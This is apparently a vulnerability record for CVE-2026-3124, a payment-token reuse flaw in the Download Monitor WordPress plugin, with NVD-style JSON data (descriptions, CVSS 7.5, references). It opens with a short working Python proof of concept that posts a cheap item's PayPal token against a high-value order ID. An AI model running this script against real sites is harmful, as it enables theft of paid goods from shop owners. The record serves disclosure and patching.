CVE-2026-3124

import requests # Exploit concept for CVE-2026-3124 # Step 1: Attacker buys a cheap item and obtains a valid PayPal transaction token. # Step 2: Attacker identifies the target Order ID of a high-value item. target_url = "http://target-site.com/?download-monitor_execute_payment=1" valid_token = "PAYPAL_TOKEN_FROM_CHEAP_ITEM" target_order_id = "12345" # ID of the expensive order # Craft the malicious request payload = { "order_id": target_order_id, "token": valid_token # Reusing the cheap token for the expensive order } response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Potential exploit success. Check order status.") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-3124", "sourceIdentifier": "[email protected]", "published": "2026-03-30T02:16:15.630", "lastModified": "2026-04-24T16:36:24.067", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Download Monitor plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.7 via the executePayment() function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to complete arbitrary pending orders by exploiting a mismatch between the PayPal transaction token and the local order, allowing theft of paid digital goods by paying a minimal amount for a low-cost item and using that payment token to finalize a high-value order."}, {"lang": "es", "value": "El plugin Download Monitor para WordPress es vulnerable a Referencia Directa Insegura a Objeto en todas las versiones hasta la 5.1.7, inclusive, a través de la función executePayment() debido a la falta de validación en una clave controlada por el usuario. Esto permite que atacantes no autenticados completen pedidos pendientes arbitrarios al explotar una falta de coincidencia entre el token de transacción de PayPal y el pedido local, lo que permite el robo de bienes digitales pagados al pagar una cantidad mínima por un artículo de bajo costo y usar ese token de pago para finalizar un pedido de alto valor."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3470119/download-monitor", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/45527d6c-6866-44e6-85c2-5be984afbbc9?source=cve", "source": "[email protected]"}]}}